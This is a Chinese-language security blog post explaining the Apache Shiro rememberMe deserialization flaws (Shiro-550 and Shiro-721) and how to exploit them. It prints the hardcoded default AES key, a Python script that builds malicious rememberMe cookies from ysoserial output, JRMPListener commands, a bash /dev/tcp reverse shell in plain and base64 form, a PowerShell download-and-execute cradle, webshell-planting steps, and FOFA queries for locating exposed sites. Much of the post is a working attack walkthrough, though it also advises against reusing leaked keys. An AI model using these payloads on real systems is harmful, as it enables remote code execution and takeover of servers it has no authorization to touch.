一次关于shiro反序列化漏洞的思考
0x01前言
之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框架的反序列化漏洞
当时没想继续说的,但是因为最近正好遇到了,就再来说说关于Apache shiro Java反序列化漏洞的一点思考(本文特指shiro rememberMe 硬编码密钥反序列化漏洞即shiro 550,不是Shiro Padding Oracle Attack那个shiro 721的----------------更新:shiro 721的内容在文末补充上了,师傅们捧个场啊)
Apache shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序
。。。。。。
问题不在这里,问题出在哪里?在shiro1.24及其之前(小于等于1.24)的版本中,shiro框架存在反序列化漏洞(加密的用户信息序列化后存储在名为remember‐me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令)
这是个16年的老洞了,但是由于其payload加密而且没啥攻击特征,所以放到现在仍然不过时(吧)
0x02 漏洞原理
补充上一点中所说,shiro框架有“记住我”的功能(rememberme),用户登录成功后会生成加密编码后的cookie,cookie是经过序列化,aes加密再base64编码处理后得到的,它的key值就是rememberme
所以服务端对应这个处理顺序,逆过来处理就是先获取rememberme cookie,再解码base64,再解密aes,最后反序列化
这个过程中,利用到了序列化与反序列化,但是此漏洞并不是有序列化反序列化这个过程,就能利用的,由流程可知,想要完整利用成功还需要aes密钥
诶,问题就出在这个密钥身上
众所周知,aes是一种对称加密算法,一旦密钥泄露后果不堪设想
1.2.4之前aes密钥是硬编码在代码中的,base64编码后值就是这个kPH+bIxk5D2deZiIxcaaaA==,就是它没有第二个
这不就完了吗,攻击者构造恶意对象序列化搞一波?
(另:原则上来说只要你获得了rememberme的aes密钥key,一切版本shiro都有反序列化漏洞,尽管后面的shiro版本不再采用硬编码aes密钥,但是希望那些别有用心(别看我,我不知道)去GitHub中搜集别人开源框架中top多少多少shiro密钥的人耗子尾汁,没事搜一下setCipherKey(Base64.decode看看,是不是已经泄漏了,最好不要用网上的密钥(shiro key top100:https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA),自己生成不香吗)
0x03漏洞发现
抓包,如果返回包中set-cookie中如果发现rememberMe=deleteMe,那这就是一个shiro框架妥妥的,可以有端联想,大胆假设(或者发现url中有没有什么cas)
fofa的搜索关键词:header="rememberme=deleteMe"、header="shiroCookie"什么的,可以看到大量相关站
关于检测,网上有很多脚本工具
思路大体都是先获得密钥(通过不讲武德所搜集到的泄露的KEY不断进行匹配测试。注:shiro 1.4.2之前采用aes-CBC加密,而1.4.2之后采用aes-GCM加密,这个写脚本代码加密时需要注意,两者加密方式的区别,要想写通用的脚本就要把两种加密都写上,参考: https://xz.aliyun.com/t/8445、https://blog.csdn.net/qq_34236803/article/details/110958868)
然后借助ysoserial.jar生成payload,相应平台(ceye.io或dnslog.cn或JRMP)会收到各种请求
比较常规的一个CBC加密编码脚本(这里采用了默认key,可以视情况更换)
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
运行:python 此脚本名.py IP:端口
然后把生成的rememberMe=什么什么
一并往请求包中的cookie里一扔,发过去
执行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections4 “ping 某某某.dnslog.cn”
然后赶紧跑回去看www.dnslog.cn,refresh一下,如果成功会看到显示出的IP数据
当然不一定就是我写的那个语句用CommonsCollections4,实际上具体利用链可能有不同,我只是说一下这个思路
几个脚本工具,用于检测shiro反序列化漏洞:
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/teamssix/shiro-check-rce
两款被动burpsuite插件:
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/amad3u4/ShiroScanner/
当然具体有哪些gadget可用,需要自行探测,每种情况下可以利用的gadget的数量和种类都是不同的 (什么CommonsCollections1、CommonsCollections2、CommonsCollections3、CommonsCollections4、CommonsCollections8、CommonsCollections10、CommonsBeanutils1等等。。。都是可能的,有些靶场固定了gadget的类型,方便你复现,但实际上不一定)
此处推荐大佬图形化探测利用一体化工具,懒人福音:https://github.com/feihong-cs/ShiroExploit-Deprecated
有key有可用的gadget,确实存在shiro反序列化漏洞,就可以开搞了
如果目标服务器可以出网,可以尝试结合平台检测
如果目标服务器不能出网,则选择回显检测
shiro 的好基友是Tomcat,所以很多利用是结合Tomcat的,将问题转化为tomcat回显
但是。。。结合tomcat的方法问题很多,生成的payload会过大啦,受到tomcat版本限制啦。。。
可以参考:https://xz.aliyun.com/t/7535
https://www.cnblogs.com/potatsoSec/p/13060261.html
https://www.cnblogs.com/potatsoSec/p/13381019.html
https://zhuanlan.zhihu.com/p/114625962
0x04 漏洞利用
常见利用方式
1.反弹shell
Linux下:
举个例子,复现就不复现了,这辈子都不可能写复现的,很多师傅有详细过程,简单说一下流程
原理和上述ping dnslog平台的原理一样,只不过把“ping 某某某.dnslog.cn”这个操作改成反弹shell的操作
然后我一边反弹,另一边监听
(1)先在攻击机本地监听某端口(例如2333)
nc -lvp 2333
bash -i >& /dev/tcp/192.168.25.203/2333 0>&1
将上述命令base64编码后放到“编码后”处 bash -c {echo,编码后}|{base64,-d}|{bash,-i}
即:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}
(2)然后执行(假设这里采用CommonsCollections4),通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}'
(3)脚本生成上文那种rememberMe=什么什么 的payload,加到cookie中发过去(注意:这次的 python 此脚本名.py IP:端口 这里的端口是6666)
(4)然后我就会在nc监听的2333端口获得目标服务器shell
windows下:
则可以通过powershell
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxxx/xxx.xx'))......
类似这种命令来联动一些CS啦、ps1啦来搞
(上传下载的方法有很多,后续有空说说这部分)
当然以上一切的前提是攻击机VPS、目标服务器网络条件允许,我能接收到此shell
2.写入webshell
可以找一个静态资源的URL ,比如网站的什么图片什么验证码什么的,往资源所在目录中写shell,或者往其他什么地方的已知的web路径写shell,然后访问webshell
再次推荐飞鸿师傅的https://github.com/feihong-cs/ShiroExploit-Deprecated
一步到位(另:不仅shiro550,shiro721也可以采用此工具利用,利用方式有所区别,具体参考开发者自述)
这个马,可以是上面这个工具生成的,也可以是用什么蚁剑、冰蝎的马替换掉工具本身的马
但是目前吧。。。文件类型的webshell已经退环境了,内存马还可一用
可以参考此文:https://localhost01.blog.csdn.net/article/details/107340698
参考文章:https://zhuanlan.zhihu.com/p/170393917
2021.3.9内容补充
-------------------------------------------------------------------------------------------------
额,做人不能半途而废,,,
翻来覆去睡不着。。。
顺便把shiro 721的内容也补一下好了
正如我前文所说( Padding Oracle Attack----POA):
1.4.2及之前的shiro版本采用了aes-CBC加密,可以结合有效的RememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击
有几个问题:
padding oracle攻击干了点啥? 它可以在没有获得key的情况下,绕过密钥key实现对密文的加解密(具体实现机制请参考:https://zhuanlan.zhihu.com/p/94970620)
那么为什么需要RememberMe cookie? 由于shiro要求先获取用户信息,获取有效用户信息之后才会进入下一阶段流程,所以需要RememberMe cookie
翻译翻译什么TMD的叫TMD把“有效的rememberMe 作为Padding Oracle攻击的。。。前缀”? 字面意思,为了不影响反序列化,把合法的rememberMe cookie做前缀,往rememberMe cookie数据后面加数据(详细参考:https://www.anquanke.com/post/id/193165)
所以,相比shiro 550 ,shiro 721 不需要知道key的值,但是需要合法用户的RememberMe cookie
服务端处理流程还是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化
首先需要登录网站从有效用户的cookie中获取rememberMe字段的值
利用与检测方法参考:
https://www.cnblogs.com/backlion/p/14077791.html
https://www.cnblogs.com/xiaozi/p/13239046.html
思路大体是获得合法的rememberMe cookie,用ysoserial生成payload,然后利用padding oracle 方法攻击脚本 结合 合法的rememberMe cookie与payload 生成恶意的rememberMe cookie,然后采用这个恶意的rememberMe cookie重放攻击目标,最后在目标中 生成文件 或 有dnslog 回显IP证明漏洞存在
或者直接使用飞鸿师傅的那个工具:https://github.com/feihong-cs/ShiroExploit-Deprecated
把获得的rememberMe cookie加进去
未经允许,禁止转载
一次关于shiro反序列化漏洞的思考的更多相关文章
- 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)
Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...
- Shiro反序列化漏洞复现
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...
- Apache Shiro 反序列化漏洞分析
Shiro550 环境搭建 参考:https://www.cnblogs.com/twosmi1e/p/14279403.html 使用Docker vulhub中的环境 docker cp 将容器内 ...
- Apache Shiro反序列化漏洞(Shiro550)
1.漏洞原理: Shiro 是 Java 的一个安全框架,执行身份验证.授权.密码.会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rem ...
- Shiro 反序列化漏洞利用
环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 # 80 ...
随机推荐
- linux中的vim用法
p.p1 { margin: 0; font: 16px ".PingFang SC"; color: rgba(53, 53, 53, 1) } p.p2 { margin: 0 ...
- F5负载均衡_monitors(健康检查)
故障现象: 后端有5台服务器,每个服务器上跑着8个应用.使用F5做应用负载调度.这40个应用里面,3-10个应用在高峰期的时候weblogic的DOS窗口显示与数据库断开连接(端口通.业务断),但是F ...
- 第一个用户进程 - Android 的 Init 进程
本文尝试对着 <深入理解 Android 5.0 系统>来对 android 9.0 的启动代码进行分析,但是分析过程中发现自己缺乏操作系统方面的知识,以致于只能做一些简单分析.最近也买了 ...
- Python - r'', b'', u'', f'' 的含义
字符串前加 f(重点!敲黑板!) 作用:相当于 format() 函数 name = "帅哥" age = 12 print(f"my name is {name},ag ...
- 「BZOJ2839」集合计数
「BZOJ2839」集合计数 题目大意: 一个包含 \(n\) 个数的集合有 \(2^n\) 个子集,从这些子集中取出若干个集合(至少一个),使他们的交集的元素个数恰好为 \(k\),求方案数,答案对 ...
- [刘阳Java]_InternalResourceViewResolver视图解析器_第6讲
SpringMVC在处理器方法中通常返回的是逻辑视图,如何定位到真正的页面,就需要通过视图解析器 InternalResourceViewResolver是SpringMVC中比较常用视图解析器. 网 ...
- Leetcode6. Z 字形变换
> 简洁易懂讲清原理,讲不清你来打我~ 输入字符串,按下右上下右上排列后输出字符串![在这里插入图片描述](https://img-blog.csdnimg.cn/4578280a7c1848c ...
- shell脚本(5)-shell变量
一.变量介绍 将一些数据需要临时存放在内存中,以待后续使用时快速读出. 二.变量分类 1.本地变量: 用户私有变量,只有本用户可以使用,保存在家目录下的.bash_profile..bashrc文件中 ...
- odoo源生打印【web report】
https://www.odoo.com/documentation/12.0/reference/reports.html 具体的看官方文档 一.纸张格式设置: <record id= ...
- Odoo开发规范
本文来源:https://www.jianshu.com/p/e892bf01f036 Odoo开发规范 模块结构 文件夹列表及对应作用 data/:演示和数据文件 models/:模型定义 cont ...